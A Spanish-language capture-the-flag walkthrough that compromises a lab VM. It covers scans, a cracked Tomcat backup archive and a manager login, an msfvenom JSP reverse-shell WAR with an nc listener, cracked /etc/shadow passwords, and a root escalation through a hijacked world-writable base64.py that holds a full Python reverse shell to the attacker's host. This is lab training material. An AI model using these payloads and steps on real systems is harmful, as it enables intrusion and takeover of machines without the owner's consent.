Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-09 06:41 EDT
Nmap scan report for 192.168.5.176
Host is up (0.00034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6a:d8:44:60:80:39:7e:f0:2d:08:2f:e5:83:63:f0:70 (RSA)
| 256 f2:a6:62:d7:e7:6a:94:be:7b:6b:a5:12:69:2e:fe:d7 (ECDSA)
|_ 256 28:e1:0d:04:80:19:be:44:a6:48:73:aa:e8:6a:65:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open http Apache Tomcat 9.0.53
|_http-title: Apache Tomcat/9.0.53
|_http-favicon: Apache Tomcat
MAC Address: 00:0C:29:AA:39:7A (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.01 seconds
Gobuster
Info:
Vemos que hay un /readme.txt y si vemos su contenido veremos lo siguiente...
Vemos que nos da una pista de un usuario llamado randy que es administrador y por alguna parte de la pagina o de algun sitio estan las credenciales de la misma...
Nikto
Info:
Por lo que vemos nos descubre varias cosas, entre ellas un panel de login /manager/html y un archivo .zip bastante interesante, por lo que nos descargaremos ese archivo .zip y veremos su contenido...
Si intentamos descomprimirlo con unzip veremos que tiene contraseña, por lo que haremos lo siguiente...
Info:
Se nos generara un archivo hash codificado, por lo que lo tendremos que crackear...
Contenido del hash
Info:
Nos saca la password para descomprimir el .zip...
Y cuando metemos la password llamada @administrator_hi5 nos descomprimira todo el contenido...
Si leemos el archivo llamado tomcat-users.xml veremos lo siguiente bastante interesante...
Por lo que si nos vamos a la URL...
Nos saltara un panel de login y si metemos las credenciales que hemos descubierto de manager nos logeara como administradores...
Credentials
Una vez dentro haremos una Reverse Shell de la siguiente manera...
Desde nuestro host creamos un archivo malicioso con el formato que admite tomcat.war para luego subirlo y ejecutarlo...
Una vez creado este archivo lo subimos desde el panel del tomcat y lo ejecutamos entrando dentro del mismo estando a la escucha...
Hecho esto estariamos dentro con una shell rara, por lo que la sanitizamos...
Si nos vamos a la /home de randy veremos la primera flag...
user.txt (flag1)
Vemos que hay un note.txt que contiene lo siguiente...
Si probamos a reutilizar la contraseña con el usuario jaye nos cambiaremos a ese usuario, por lo que...
Si hacemos lo siguiente...
Veremos una linea interesante...
Y si vamos a GTFOBins veremos que se puede explotar pudiendo leer cualquier archivo...
URL = https://gtfobins.github.io/gtfobins/look/
Por lo que podremos leer la flag de root...
root.txt (flag2)
Pero si queremos ser root haremos lo siguiente...
Miraremos el /etc/shadow...
Info:
Y cogeremos la password de randy para crackearla con el john...
Info:
Por lo que vemos obtuvimos las credenciales...
Hecho esto ya estaremos dentro con el usuario randy, por lo que si hacemos sudo -l veremos lo siguiente...
Si leemos lo que hace ese script...
Vemos que codifica lo que le pongas a Base64, pero tambien vemos que importa un Base64 que parece sospechoso...
Info:
Vemos la siguiente linea muy sospechosa...
Si leemos los permisos que tiene...
Vemos que podemos editarlo, por lo que si editamos esto con una Reverse Shell y al ejecutarlo como root importara este .py y nos creara la Reverse Shell por lo que borramos el contenido de ese .py...
Vamos a crear un archivo que borre su interior...
Una vez hecho esto ya estara vacio, por lo que ponemos una Reverse Shell...
Una vez hecho esto, haremos lo siguiente...
Estaremos a la escucha antes...
Despues lo ejecutamos...
Y nos habria creado una shell un poco mala pero autenticados como root por lo que dentro de esa shell para mejorarla haremos lo siguiente...
Y si nos salimos de esa shell y volvemos a nuestro usuario randy hacemos lo siguiente ya que otorgamos con rootSUID a la bash...
Y ya seriamos root, por lo que podremos leer la flag...
Hey randy! It's your System Administrator. I left you a file on the server, I'm sure nobody will find it.
Also remember to use that password I gave you.
nikto -h http://<IP>:8080
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.5.176
+ Target Hostname: 192.168.5.176
+ Target Port: 8080
+ Start Time: 2024-06-09 09:33:25 (GMT-4)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /backup.zip: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /favicon.ico: identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community. See: https://en.wikipedia.org/wiki/Favicon
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS .
+ HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ /examples/servlets/index.html: Apache Tomcat default JSP pages present.
+ /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2104
+ /readme.txt: This might be interesting.
+ /manager/html: Default Tomcat Manager / Host Manager interface found.
+ /host-manager/html: Default Tomcat Manager / Host Manager interface found.
+ /manager/status: Default Tomcat Server Status interface found.
+ /host-manager/status: Default Tomcat Server Status interface found.
+ 8253 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2024-06-09 09:33:44 (GMT-4) (19 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
URL = http://<IP>:8080/backup.zip
zip2john backup.zip > hash
ver 2.0 efh 5455 efh 7875 backup.zip/catalina.policy PKZIP Encr: TS_chk, cmplen=2911, decmplen=13052, crc=AD0C6FDB ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/context.xml PKZIP Encr: TS_chk, cmplen=721, decmplen=1400, crc=59B9F4E7 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/catalina.properties PKZIP Encr: TS_chk, cmplen=2210, decmplen=7276, crc=1CD3C095 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/jaspic-providers.xml PKZIP Encr: TS_chk, cmplen=626, decmplen=1149, crc=748A87A6 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/jaspic-providers.xsd PKZIP Encr: TS_chk, cmplen=862, decmplen=2313, crc=3B44D150 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/logging.properties PKZIP Encr: TS_chk, cmplen=1076, decmplen=4144, crc=1D6C26F7 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/server.xml PKZIP Encr: TS_chk, cmplen=2609, decmplen=7589, crc=F91AC0C0 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/tomcat-users.xml PKZIP Encr: TS_chk, cmplen=1167, decmplen=2972, crc=BDCB08B9 ts=B0E3 cs=b0e3 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/tomcat-users.xsd PKZIP Encr: TS_chk, cmplen=858, decmplen=2558, crc=E8F588C2 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/web.xml PKZIP Encr: TS_chk, cmplen=18917, decmplen=172359, crc=B8AF6070 ts=6920 cs=6920 type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
@administrator_hi5 (backup.zip)
1g 0:00:00:00 DONE (2024-06-09 09:42) 1.030g/s 11857Kp/s 11857Kc/s 11857KC/s @lexutz..9StephiOlarte
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war -o reverse.war
nc -lvnp <PORT>
/bin/bash
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
ca73a018ae6908a7d0ea5d1c269ba4b6
Hey randy this is your system administrator, hope your having a great day! I just wanted to let you know
that I changed your permissions for your home directory. You won't be able to remove or add files for now.
I will change these permissions later on.
See you next Monday randy!
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
07051986randy (randy)
1g 0:00:48:57 DONE (2024-06-09 13:28) 0.000340g/s 4742p/s 4742c/s 4742C/s 070552898..070488m
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
User = randy
Password = 07051986randy
ssh randy@<IP>
Matching Defaults entries for randy on corrosion:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User randy may run the following commands on corrosion:
(root) PASSWD: /usr/bin/python3.8 /home/randy/randombase64.py
-rwxrwxrwx 1 root root 689 Jun 9 10:53 /usr/lib/python3.8/base64.py
nano rm.py
#Contenido del nano
with open('/usr/lib/python3.8/base64.py', 'w') as f:
f.write('')
chmod +x rm.py
python3 /tmp/rm.py
nano /usr/lib/python3.8/base64.py
#Contenido del nano
import socket
import subprocess
# Definir la dirección IP y el puerto del atacante
HOST = '<IP>'
PORT = <PORT>
# Crear un socket TCP/IP
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Conectar el socket al servidor
s.connect((HOST, PORT))
# Bucle para recibir comandos y enviar resultados
while True:
# Recibir el comando del servidor
command = s.recv(1024)
# Ejecutar el comando y capturar la salida
output = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
result = output.stdout.read() + output.stderr.read()
# Enviar el resultado al servidor
s.send(result)
# Cerrar la conexión
s.close()